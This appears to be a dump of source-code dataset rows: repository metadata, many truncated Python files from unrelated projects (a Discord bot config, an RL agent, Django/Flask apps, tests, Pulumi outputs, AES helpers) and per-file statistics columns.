Der-Eddy/discord_bot
bc2511e6d030ee2e099410bd846ea871fe3f109d
[ "MIT" ]
100
2016-08-21T18:12:29.000Z
2022-02-19T11:21:23.000Z
__token__ = 'INSERT BOT TOKEN HERE' __prefix__ = ':' #OPTIONAL Prefix for all commands, defaults to colon __timezone__ = 'Europe/Berlin' #OPTIONAL __botserverid__ = 102817255661772800 #OPTIONAL Specifies the main serverid from which the server-/modlog should be taken + some other nito features __kawaiichannel__ = 2...
95.75
148
0.795039
100
766
5.77
0.66
0.07279
0.065858
0.069324
0
0
0
0
0
0
0
0.055215
0.148825
766
8
149
95.75
0.829755
0.592689
0
0
0
0
0.35786
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
45eb2e9def0eec980e1f174eed2f97baceb70fae
17,158
py
Python
agent.py
drmeerkat/IQN-and-Extensions
1cc024c0eedd6cbad62e6db0aae21157847a7e85
[ "MIT" ]
null
null
null
agent.py
drmeerkat/IQN-and-Extensions
1cc024c0eedd6cbad62e6db0aae21157847a7e85
[ "MIT" ]
null
null
null
agent.py
drmeerkat/IQN-and-Extensions
1cc024c0eedd6cbad62e6db0aae21157847a7e85
[ "MIT" ]
null
null
null
import torch import numpy as np import torch.optim as optim from torch.nn.utils import clip_grad_norm_ import torch.nn.functional as F import random import math from ReplayBuffers import ReplayBuffer, PrioritizedReplay from model import IQN class IQN_Agent(): """Interacts with and learns from the environment.""" ...
48.468927
154
0.583285
2,194
17,158
4.372379
0.117138
0.033358
0.035026
0.030126
0.696028
0.681643
0.666632
0.650266
0.647556
0.638799
0
0.014769
0.305455
17,158
353
155
48.606232
0.790216
0.1798
0
0.538462
0
0
0.014513
0
0
0
0
0
0.063348
1
0.031674
false
0
0.040724
0
0.099548
0.004525
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
45ec3f719508d9939ef62b84c92349a7b3b7bef5
1,849
py
Python
apprise_api/gunicorn.conf.py
scyto/apprise-api
6376580243885d3987ae2b61de5e8e1806244148
[ "MIT" ]
null
null
null
apprise_api/gunicorn.conf.py
scyto/apprise-api
6376580243885d3987ae2b61de5e8e1806244148
[ "MIT" ]
null
null
null
apprise_api/gunicorn.conf.py
scyto/apprise-api
6376580243885d3987ae2b61de5e8e1806244148
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # # Copyright (C) 2019 Chris Caron <lead2gold@gmail.com> # All rights reserved. # # This code is licensed under the MIT License. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files(the "Software"), to deal # in th...
33.618182
79
0.74689
278
1,849
4.94964
0.600719
0.063953
0.018895
0
0
0
0
0
0
0
0
0.015102
0.176312
1,849
54
80
34.240741
0.888378
0.809086
0
0
0
0
0.278997
0.112853
0
0
0
0
0
1
0
false
0
0.071429
0
0.071429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
45ec9f4df0d9cce52ff3d6ee0ce296c09f1b6beb
265
py
Python
pyqt/svg/viewer1.py
smartnova/samples
c665cbaa07d05191323cea206cf73f630cf58b74
[ "BSD-3-Clause" ]
null
null
null
pyqt/svg/viewer1.py
smartnova/samples
c665cbaa07d05191323cea206cf73f630cf58b74
[ "BSD-3-Clause" ]
7
2019-03-09T07:02:55.000Z
2022-03-12T00:44:21.000Z
pyqt/svg/viewer1.py
smartnova/samples
c665cbaa07d05191323cea206cf73f630cf58b74
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python import sys from PyQt5 import QtGui, QtSvg from PyQt5.QtWidgets import QApplication app = QApplication(sys.argv) svgWidget = QtSvg.QSvgWidget('Android_sample.svg') svgWidget.setGeometry(50,50,759,668) svgWidget.show() sys.exit(app.exec_())
20.384615
50
0.777358
38
265
5.368421
0.684211
0.088235
0
0
0
0
0
0
0
0
0
0.050209
0.098113
265
12
51
22.083333
0.803347
0.075472
0
0
0
0
0.07377
0
0
0
0
0
0
1
0
false
0
0.375
0
0.375
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
45ecf51be5f3324a292bcdaa524e9833a24b4c28
8,559
py
Python
Assignment2/expression_tree_from_robdd.py
khushhallchandra/EE677-VLSI-CAD
c40fbe3bd0c07cd1f3b18d477917c85702607e51
[ "MIT" ]
4
2016-12-05T12:43:58.000Z
2020-02-21T00:29:42.000Z
Assignment2/expression_tree_from_robdd.py
khushhallchandra/EE677-VLSI-CAD
c40fbe3bd0c07cd1f3b18d477917c85702607e51
[ "MIT" ]
null
null
null
Assignment2/expression_tree_from_robdd.py
khushhallchandra/EE677-VLSI-CAD
c40fbe3bd0c07cd1f3b18d477917c85702607e51
[ "MIT" ]
null
null
null
# file : prog_assign_2_ee677_2016_expression_tree_from_robdd_Wed_26_Oct.py # The following code contains the simple classes to model following # types of logic node objects # Binary Boolean Operation node, Not Operation node, Input node, Constant node # Using these classes and the utility function "robdd_to_expr_t...
33.303502
92
0.562332
1,171
8,559
3.845431
0.185312
0.023318
0.034644
0.033977
0.28803
0.265601
0.227626
0.212969
0.196091
0.196091
0
0.036059
0.261245
8,559
256
93
33.433594
0.676103
0.327375
0
0.136646
0
0
0.09049
0.012296
0
0
0
0
0
0
null
null
0
0
null
null
0.018634
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
45f3e76c13b00e8eab45af5098e18d50c1acb793
436
py
Python
hsv_dot_beer/permissions.py
austinprog/hsvdotbeer
2979a2b0b105b85d0865c6771bfcb7debb98b3e8
[ "Apache-2.0" ]
18
2018-12-06T01:46:37.000Z
2021-10-17T10:37:17.000Z
hsv_dot_beer/permissions.py
austinprog/hsvdotbeer
2979a2b0b105b85d0865c6771bfcb7debb98b3e8
[ "Apache-2.0" ]
194
2018-11-04T12:50:49.000Z
2022-01-06T22:43:43.000Z
hsv_dot_beer/permissions.py
austinprog/hsvdotbeer
2979a2b0b105b85d0865c6771bfcb7debb98b3e8
[ "Apache-2.0" ]
7
2019-03-18T05:36:06.000Z
2020-12-25T03:27:29.000Z
from rest_framework.permissions import BasePermission, SAFE_METHODS class IsAdminOrReadOnly(BasePermission): def has_permission(self, request, view): user = request.user # if the user is a staff user (i.e. can log into the admin page), # they can do anything in the API. # Otherwise...
39.636364
73
0.706422
62
436
4.887097
0.725806
0.072607
0
0
0
0
0
0
0
0
0
0
0.227064
436
10
74
43.6
0.89911
0.362385
0
0
0
0
0
0
0
0
0
0
0
1
0.2
false
0
0.2
0
0.8
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
45f68050d4948d7d2cc4601a50e36e261ccdf689
3,679
py
Python
users/admin.py
AlbertoZerbinati/sentag
542c10e68372352cf1dcca056452220532ad81ed
[ "MIT" ]
3
2021-12-11T12:20:07.000Z
2022-01-15T14:34:07.000Z
users/admin.py
AlbertoZerbinati/sentag
542c10e68372352cf1dcca056452220532ad81ed
[ "MIT" ]
1
2021-11-28T22:34:58.000Z
2021-11-28T22:35:43.000Z
users/admin.py
AlbertoZerbinati/sentag
542c10e68372352cf1dcca056452220532ad81ed
[ "MIT" ]
1
2022-01-26T16:41:12.000Z
2022-01-26T16:41:12.000Z
from django.contrib import admin from django.contrib.auth.admin import UserAdmin as BaseUserAdmin from django.contrib.auth.models import User from django.contrib.admin.widgets import FilteredSelectMultiple from django.utils.text import format_lazy from tag_sentenze.models import Judgment from users.models im...
40.877778
117
0.651536
440
3,679
5.290909
0.209091
0.045103
0.056701
0.051546
0.686426
0.686426
0.686426
0.641323
0.641323
0.641323
0
0
0.256048
3,679
90
118
40.877778
0.850566
0.057081
0
0.566038
0
0.037736
0.116599
0
0
0
0
0
0
1
0.037736
false
0
0.132075
0
0.415094
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
45ff300f11b4fe22aea3a3eaea1feb2730e8fe8a
897
py
Python
src/studying/tests/shipping_factory/tests_shipping_factory_unship.py
denkasyanov/education-backend
c796b6f2f1cc1cd09f83cab2ca0cc45344906ef5
[ "MIT" ]
151
2020-04-21T09:58:57.000Z
2021-09-12T09:01:21.000Z
src/studying/tests/shipping_factory/tests_shipping_factory_unship.py
denkasyanov/education-backend
c796b6f2f1cc1cd09f83cab2ca0cc45344906ef5
[ "MIT" ]
163
2020-05-29T20:52:00.000Z
2021-09-11T12:44:56.000Z
src/studying/tests/shipping_factory/tests_shipping_factory_unship.py
boochamoocha/education-backend
c6ffb0c00bc066c8f1e0a8c0ffe4d0215c7c416a
[ "MIT" ]
39
2020-04-21T12:28:16.000Z
2021-09-12T15:33:47.000Z
import pytest from studying import shipment_factory pytestmark = [pytest.mark.django_db] @pytest.fixture def unship_record(mocker): return mocker.patch('studying.shipment.RecordShipment.unship') @pytest.fixture def unship_course(mocker): return mocker.patch('studying.shipment.CourseShipment.unship') def...
23.605263
71
0.781494
109
897
6.211009
0.33945
0.106352
0.084195
0.106352
0.401773
0.115214
0
0
0
0
0
0
0.12932
897
37
72
24.243243
0.866837
0.031215
0
0.238095
0
0
0.089965
0.089965
0
0
0
0
0.095238
1
0.238095
false
0
0.095238
0.095238
0.428571
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
45ff4542a60f1d0fcbbb9e2a5df1371b2b3fa8d9
1,518
py
Python
module4-acid-and-database-scalability-tradeoffs/titanic_mongo.py
TAVAU/DS-Unit-3-Sprint-2-SQL-and-Databases
0620f7970e77bc6b47698ccf3279bb35a0472fe0
[ "MIT" ]
null
null
null
module4-acid-and-database-scalability-tradeoffs/titanic_mongo.py
TAVAU/DS-Unit-3-Sprint-2-SQL-and-Databases
0620f7970e77bc6b47698ccf3279bb35a0472fe0
[ "MIT" ]
null
null
null
module4-acid-and-database-scalability-tradeoffs/titanic_mongo.py
TAVAU/DS-Unit-3-Sprint-2-SQL-and-Databases
0620f7970e77bc6b47698ccf3279bb35a0472fe0
[ "MIT" ]
1
2021-12-17T19:23:43.000Z
2021-12-17T19:23:43.000Z
import pymongo import os from dotenv import load_dotenv import sqlite3 from pprint import pprint load_dotenv() DB_USER = os.getenv("MONGO_USER", default="OOPS") DB_PASSWORD = os.getenv("MONGO_PASSWORD", default="OOPS") CLUSTER_NAME = os.getenv("MONGO_CLUSTER_NAME", default="OOPS") connection_uri = f"mongodb://{DB_US...
35.302326
301
0.691041
208
1,518
4.865385
0.461538
0.054348
0.038538
0.05336
0.075099
0.075099
0.075099
0.075099
0
0
0
0.033283
0.129117
1,518
43
302
35.302326
0.732224
0.296443
0
0
0
0.047619
0.385932
0.289924
0
0
0
0
0
1
0
false
0.095238
0.238095
0
0.238095
0.285714
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
34092ed7ac478bf326c91277968d452e229666f2
20,549
py
Python
extract_spreadsheet_data.py
dpvcg/extract-sheets
f133202f8f120768edeb19d66cbeae19d32283ad
[ "MIT" ]
null
null
null
extract_spreadsheet_data.py
dpvcg/extract-sheets
f133202f8f120768edeb19d66cbeae19d32283ad
[ "MIT" ]
2
2019-05-21T14:57:57.000Z
2020-08-25T10:41:08.000Z
extract_spreadsheet_data.py
dpvcg/extract-sheets
f133202f8f120768edeb19d66cbeae19d32283ad
[ "MIT" ]
null
null
null
import pickle import os.path import sys, getopt from googleapiclient.discovery import build from google_auth_oauthlib.flow import InstalledAppFlow from google.auth.transport.requests import Request import html from collections import namedtuple from dataclasses import dataclass from typing import List from rdf_serial...
40.05653
92
0.541973
2,312
20,549
4.782872
0.138408
0.227528
0.103093
0.092241
0.601465
0.566649
0.53138
0.493127
0.482547
0.463194
0
0.002707
0.298895
20,549
512
93
40.134766
0.764837
0.088374
0
0.587302
0
0.00907
0.220377
0.068942
0
0
0
0.001953
0
1
0.018141
false
0.002268
0.024943
0
0.056689
0.006803
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
34132b4f426042a4feec013fe9658cc640630b89
299
py
Python
Python3-Learn/StringCopies-SanaaShah.py.py
nikhiljain-413/Hacktoberfest2021_beginner
56b008c9ed294c3fc23b44fa13faced99948236d
[ "MIT" ]
65
2021-10-01T07:02:29.000Z
2022-03-23T10:41:37.000Z
Python3-Learn/StringCopies-SanaaShah.py.py
nikhiljain-413/Hacktoberfest2021_beginner
56b008c9ed294c3fc23b44fa13faced99948236d
[ "MIT" ]
82
2021-10-01T14:21:42.000Z
2022-03-29T03:43:58.000Z
Python3-Learn/StringCopies-SanaaShah.py.py
nikhiljain-413/Hacktoberfest2021_beginner
56b008c9ed294c3fc23b44fa13faced99948236d
[ "MIT" ]
210
2021-10-01T07:02:39.000Z
2022-03-27T17:41:00.000Z
# 9. Write a Python program to get a string which is n (non-negative integer) copies of a given string str = input('Enter any String value: ') num = int(input('Enter the number of copies you want of the string: ')) final = '' for i in range(num): final = final + str print(final)
29.9
104
0.662207
50
299
3.96
0.68
0.10101
0
0
0
0
0
0
0
0
0
0.004405
0.240803
299
9
105
33.222222
0.867841
0.334448
0
0
0
0
0.417112
0
0
0
0
0
0
1
0
false
0
0
0
0
0.166667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
341602762a0cb9dc649cd65f83da67b871866977
979
py
Python
ut/ut_someip_sd.py
User65k/eth-scapy-someip
4c6ccb29de6e4c0790df912daae1d94c2642c32a
[ "MIT" ]
null
null
null
ut/ut_someip_sd.py
User65k/eth-scapy-someip
4c6ccb29de6e4c0790df912daae1d94c2642c32a
[ "MIT" ]
null
null
null
ut/ut_someip_sd.py
User65k/eth-scapy-someip
4c6ccb29de6e4c0790df912daae1d94c2642c32a
[ "MIT" ]
null
null
null
import unittest import sys import ctypes import struct import binascii sys.path.append('.') from eth_scapy_someip import eth_scapy_someip as someip from eth_scapy_someip import eth_scapy_sd as sd class ut_someip_sd(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def test_00_SOMEIPSD(...
27.971429
82
0.713994
153
979
4.379085
0.431373
0.026866
0.062687
0.044776
0.229851
0.229851
0.229851
0.134328
0.134328
0.134328
0
0.020732
0.162411
979
34
83
28.794118
0.796341
0.154239
0
0.16
0
0
0.015777
0
0
0
0
0
0.16
1
0.12
false
0.08
0.28
0
0.44
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
341e054992d30cc10f37c1880c1fd753fd2e6420
590
py
Python
vive_server/setup.py
MPC-Berkeley/vive_ros2
9b82beb56c64b85ab87b352c14f122f8fca14bee
[ "MIT" ]
1
2022-01-06T18:19:56.000Z
2022-01-06T18:19:56.000Z
vive_server/setup.py
GeckoRobotics/vive_ros2
9b82beb56c64b85ab87b352c14f122f8fca14bee
[ "MIT" ]
null
null
null
vive_server/setup.py
GeckoRobotics/vive_ros2
9b82beb56c64b85ab87b352c14f122f8fca14bee
[ "MIT" ]
2
2021-06-24T18:24:11.000Z
2021-08-28T20:02:20.000Z
import setuptools setuptools.setup( name="vive_ros2_server", version="0.0.1", author="Michael Equi", author_email="michaelequi@berkeley.edu", description="Package for running the pure python server", long_description="", long_description_content_type="text/markdown", url="https://github...
29.5
61
0.667797
66
590
5.818182
0.757576
0.041667
0
0
0
0
0
0
0
0
0
0.016807
0.19322
590
19
62
31.052632
0.789916
0
0
0
0
0
0.449153
0.040678
0
0
0
0
0
1
0
true
0
0.055556
0
0.055556
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
3420a801dbe6606d54a136ed65823cdd2e9cecae
384
py
Python
Chapter07/algorithms_13.py
vabyte/Modern-Python-Standard-Library-Cookbook
4f53e3ab7b61aca1cca9343e7421e170280cd5b5
[ "MIT" ]
84
2018-08-09T09:30:03.000Z
2022-01-04T23:20:38.000Z
Chapter07/algorithms_13.py
jiro74/Modern-Python-Standard-Library-Cookbook
4f53e3ab7b61aca1cca9343e7421e170280cd5b5
[ "MIT" ]
1
2019-11-04T18:57:40.000Z
2020-09-07T08:52:25.000Z
Chapter07/algorithms_13.py
jiro74/Modern-Python-Standard-Library-Cookbook
4f53e3ab7b61aca1cca9343e7421e170280cd5b5
[ "MIT" ]
33
2018-09-26T11:05:55.000Z
2022-03-15T10:31:10.000Z
from contextlib import ExitStack import contextlib @contextlib.contextmanager def first(): print('First') yield @contextlib.contextmanager def second(): print('Second') yield for n in range(5): with ExitStack() as stack: stack.enter_context(first()) if n % 2 == 0: stac...
19.2
41
0.632813
45
384
5.355556
0.555556
0.19917
0.224066
0
0
0
0
0
0
0
0
0.010309
0.242188
384
19
42
20.210526
0.817869
0
0
0.25
0
0
0.054688
0
0
0
0
0
0
1
0.125
false
0
0.125
0
0.25
0.1875
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
342400da6b0f4b51a717d4f0399a8254357e5d4c
8,106
py
Python
api.py
Bociany/Moodai
b7c2a3f1febe067c85830849a1e1b7ca3e4efb48
[ "MIT" ]
null
null
null
api.py
Bociany/Moodai
b7c2a3f1febe067c85830849a1e1b7ca3e4efb48
[ "MIT" ]
null
null
null
api.py
Bociany/Moodai
b7c2a3f1febe067c85830849a1e1b7ca3e4efb48
[ "MIT" ]
1
2020-10-25T16:33:28.000Z
2020-10-25T16:33:28.000Z
from flask import Flask, Blueprint, request, session from flask_httpauth import HTTPTokenAuth from sqlalchemy import desc from auth import verify_token, generate_token, token_exists, hash_multiple, remove_token from database import * from models.user import User from models.mood import Mood from models.notes import No...
37.013699
257
0.723415
1,183
8,106
4.743872
0.171598
0.034212
0.045438
0.049893
0.469351
0.442267
0.408767
0.376515
0.297577
0.263364
0
0.003233
0.122255
8,106
218
258
37.183486
0.785524
0.084752
0
0.303226
1
0
0.123278
0
0
0
0
0.004587
0
1
0.090323
false
0.032258
0.109677
0.012903
0.316129
0.032258
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
342451e25dffec100fb073381fd7a1aa1ac1aaf6
11,228
py
Python
osipkd/views/admin/m_unit.py
aagusti/o-sipkd
6c61fddb87fa6f4be18cac851bb44949019b8f3e
[ "MIT" ]
null
null
null
osipkd/views/admin/m_unit.py
aagusti/o-sipkd
6c61fddb87fa6f4be18cac851bb44949019b8f3e
[ "MIT" ]
null
null
null
osipkd/views/admin/m_unit.py
aagusti/o-sipkd
6c61fddb87fa6f4be18cac851bb44949019b8f3e
[ "MIT" ]
null
null
null
import os import uuid from osipkd.tools import row2dict, xls_reader from datetime import datetime from sqlalchemy import not_, func from sqlalchemy.sql.expression import and_ from ziggurat_foundations.models import groupfinder from pyramid.view import ( view_config, ) from pyramid.httpexceptions import ( HT...
39.535211
115
0.520217
1,194
11,228
4.793132
0.18258
0.028831
0.032151
0.027957
0.254761
0.178403
0.123537
0.096802
0.063254
0.063254
0
0.002803
0.364535
11,228
284
116
39.535211
0.799299
0.007927
0
0.22093
0
0
0.08378
0.008078
0
0
0
0
0
0
null
null
0.011628
0.062016
null
null
0.003876
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
3428512d1b7e127cd70a34943dfe9bec7323f84b
908
py
Python
tenc/core.py
nanogiants/tenc
fb9632c5a60d3d5342e5d00a6c2c28d53fbdd6ea
[ "MIT" ]
null
null
null
tenc/core.py
nanogiants/tenc
fb9632c5a60d3d5342e5d00a6c2c28d53fbdd6ea
[ "MIT" ]
null
null
null
tenc/core.py
nanogiants/tenc
fb9632c5a60d3d5342e5d00a6c2c28d53fbdd6ea
[ "MIT" ]
null
null
null
import sys from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad def encrypt(data, password): """Enrcrypt data and return content in binary""" try: cipher = AES.new(password.encode(), AES.MODE_CBC) cypher_text_bytes = cipher.encrypt(pad(data.encode(), AES.block_size)) ...
29.290323
81
0.655286
122
908
4.795082
0.42623
0.046154
0.044444
0.068376
0.297436
0.297436
0.297436
0.297436
0.174359
0
0
0.009887
0.220264
908
30
82
30.266667
0.816384
0.101322
0
0.4
0
0
0.052174
0
0
0
0
0
0
1
0.1
false
0.2
0.15
0
0.35
0.1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
342d26dcc76f61867565c30c84a06b8e86e0eed4
10,876
py
Python
sdk/python/pulumi_aws/guardduty/outputs.py
chivandikwa/pulumi-aws
19c08bf9dcb90544450ffa4eec7bf6751058fde2
[ "ECL-2.0", "Apache-2.0" ]
260
2018-06-18T14:57:00.000Z
2022-03-29T11:41:03.000Z
sdk/python/pulumi_aws/guardduty/outputs.py
chivandikwa/pulumi-aws
19c08bf9dcb90544450ffa4eec7bf6751058fde2
[ "ECL-2.0", "Apache-2.0" ]
1,154
2018-06-19T20:38:20.000Z
2022-03-31T19:48:16.000Z
sdk/python/pulumi_aws/guardduty/outputs.py
chivandikwa/pulumi-aws
19c08bf9dcb90544450ffa4eec7bf6751058fde2
[ "ECL-2.0", "Apache-2.0" ]
115
2018-06-28T03:20:27.000Z
2022-03-29T11:41:06.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import...
39.838828
262
0.655756
1,309
10,876
5.237586
0.13369
0.015753
0.025671
0.033256
0.678821
0.65213
0.644545
0.589119
0.566365
0.54507
0
0.014978
0.238783
10,876
272
263
39.985294
0.813142
0.289629
0
0.465116
1
0.023256
0.191513
0.078029
0
0
0
0
0
1
0.174419
false
0
0.034884
0.005814
0.360465
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
34372621e9f6d0b9c6557e14b649382d8ceb0b47
335
py
Python
tests/test_dummy.py
LucaMarconato/mirna-explorer
6447cdc7d1e9d6dbf899c74c564bf9a45b19e36f
[ "MIT" ]
null
null
null
tests/test_dummy.py
LucaMarconato/mirna-explorer
6447cdc7d1e9d6dbf899c74c564bf9a45b19e36f
[ "MIT" ]
4
2018-10-16T05:32:38.000Z
2018-10-31T21:32:08.000Z
tests/test_dummy.py
LucaMarconato/mirna_explorer
6447cdc7d1e9d6dbf899c74c564bf9a45b19e36f
[ "MIT" ]
null
null
null
import unittest class DummyTestCase(unittest.TestCase): def setUp(self): self.AN_ITEM = "item" def test_givenAnEmpyArray_whenAnItemIsAdded_thenArraySizeIncreases(self): array = [] array_size_expected = 1 array.append(self.AN_ITEM) self.assertEquals(array_size_expecte...
22.333333
77
0.698507
36
335
6.25
0.583333
0.053333
0.088889
0
0
0
0
0
0
0
0
0.003817
0.21791
335
14
78
23.928571
0.854962
0
0
0
0
0
0.01194
0
0
0
0
0
0.111111
1
0.222222
false
0
0.111111
0
0.444444
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
343ca14a3ff776c2e2c14b42414980219bd43f45
2,421
py
Python
random_greetings_test.py
joaodartora/random-greetings
6a037497df1beb94202303fba8a1cc601fb02e69
[ "MIT" ]
5
2021-01-06T18:45:35.000Z
2022-01-05T19:38:41.000Z
random_greetings_test.py
joaodartora/random-greetings
6a037497df1beb94202303fba8a1cc601fb02e69
[ "MIT" ]
3
2021-02-25T00:05:55.000Z
2021-02-25T00:24:44.000Z
random_greetings_test.py
joaodartora/random-greetings
6a037497df1beb94202303fba8a1cc601fb02e69
[ "MIT" ]
null
null
null
import unittest import random_greetings class RandomGreetings(unittest.TestCase): # abrir_csv def test_abrir_csv_com_sucesso_validando_numero_linhas(self): arquivo_csv = random_greetings.abrir_csv("test/lista_correta.csv") numero_linhas = sum(1 for linha in arquivo_csv) self.assert...
45.679245
152
0.768278
313
2,421
5.485623
0.220447
0.122306
0.077461
0.058241
0.651718
0.636575
0.602796
0.602796
0.602796
0.404776
0
0.010721
0.152416
2,421
52
153
46.557692
0.826023
0.026435
0
0.25
0
0
0.121173
0.043367
0
0
0
0
0.277778
1
0.277778
false
0
0.055556
0
0.361111
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
34575d0be5f1d539f952f6ed5f2ce7d84d79f289
1,423
py
Python
celery_uncovered/tricks/celery_conf.py
TinlokLee/Python-CelerySS
f66c42d2eace51e28b17ed6d7eec0fa765f9d90b
[ "MIT" ]
null
null
null
celery_uncovered/tricks/celery_conf.py
TinlokLee/Python-CelerySS
f66c42d2eace51e28b17ed6d7eec0fa765f9d90b
[ "MIT" ]
null
null
null
celery_uncovered/tricks/celery_conf.py
TinlokLee/Python-CelerySS
f66c42d2eace51e28b17ed6d7eec0fa765f9d90b
[ "MIT" ]
null
null
null
import os import logging from django.conf import settings # noqa from celery import signals from celery.task.control import inspect def copy_dict(ds): return {k: v for k, v in ds.iteritems()} @signals.celeryd_after_setup.connect def configure_task_logging(instance=None, **kwargs): tasks = inst...
27.901961
69
0.588897
158
1,423
5.120253
0.443038
0.034611
0.037083
0
0
0
0
0
0
0
0
0.000985
0.286718
1,423
50
70
28.46
0.796059
0.017569
0
0.047619
0
0
0.14052
0.017844
0
0
0
0
0
0
null
null
0
0.119048
null
null
0.02381
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
34589dda9c22ca7f74bb3fd8e4579be48b9b939f
602
py
Python
aldjemy/types.py
winclap/aldjemy
090486983b648b1ee531c2b6004201c10253a33d
[ "BSD-3-Clause" ]
null
null
null
aldjemy/types.py
winclap/aldjemy
090486983b648b1ee531c2b6004201c10253a33d
[ "BSD-3-Clause" ]
null
null
null
aldjemy/types.py
winclap/aldjemy
090486983b648b1ee531c2b6004201c10253a33d
[ "BSD-3-Clause" ]
null
null
null
# coding: utf-8 import django from sqlalchemy import types, ForeignKey def simple(typ): return lambda field: typ() def varchar(field): return types.String(length=field.max_length) def foreign_key(field): if django.VERSION < (1, 8): parent_model = field.related.parent_model elif django.VER...
22.296296
73
0.689369
82
602
4.890244
0.47561
0.137157
0.119701
0.114713
0
0
0
0
0
0
0
0.010482
0.207641
602
26
74
23.153846
0.830189
0.021595
0
0
0
0
0.008518
0
0
0
0
0
0
1
0.176471
false
0
0.117647
0.117647
0.470588
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
1
345d7857b732bab4f144ef27557980ac82d5ba78
754
py
Python
oniony/__init__.py
ruivieira/oniony
c2b9bab360ccaa9dfcafa60febf5a26145397db7
[ "Apache-2.0" ]
null
null
null
oniony/__init__.py
ruivieira/oniony
c2b9bab360ccaa9dfcafa60febf5a26145397db7
[ "Apache-2.0" ]
null
null
null
oniony/__init__.py
ruivieira/oniony
c2b9bab360ccaa9dfcafa60febf5a26145397db7
[ "Apache-2.0" ]
2
2020-01-14T10:43:36.000Z
2020-02-23T22:10:31.000Z
class Anonymizer: def __init__(self, context, dataframe): restructed = self.restructure(dataframe) self._anonymized = self.anonymize(restructed) def restructure(self, dataframe): """ Applies the restructuring Spark transformations :param dataframe: The original Spark d...
29
56
0.656499
67
754
7.298507
0.38806
0.114519
0.0818
0.09407
0
0
0
0
0
0
0
0
0.274536
754
26
57
29
0.893967
0.35809
0
0.181818
0
0
0
0
0
0
0
0
0
1
0.363636
false
0
0
0.090909
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
3463ccde590294a9dfa01bffd2ce811e289e9672
3,470
py
Python
deployment.py
MaRaSu/openstreetmap-tile-server
346d8a68076048c50b0c5dc4cbac30b7664b5379
[ "Apache-2.0" ]
1
2021-04-05T15:07:02.000Z
2021-04-05T15:07:02.000Z
deployment.py
MaRaSu/openstreetmap-tile-server
346d8a68076048c50b0c5dc4cbac30b7664b5379
[ "Apache-2.0" ]
null
null
null
deployment.py
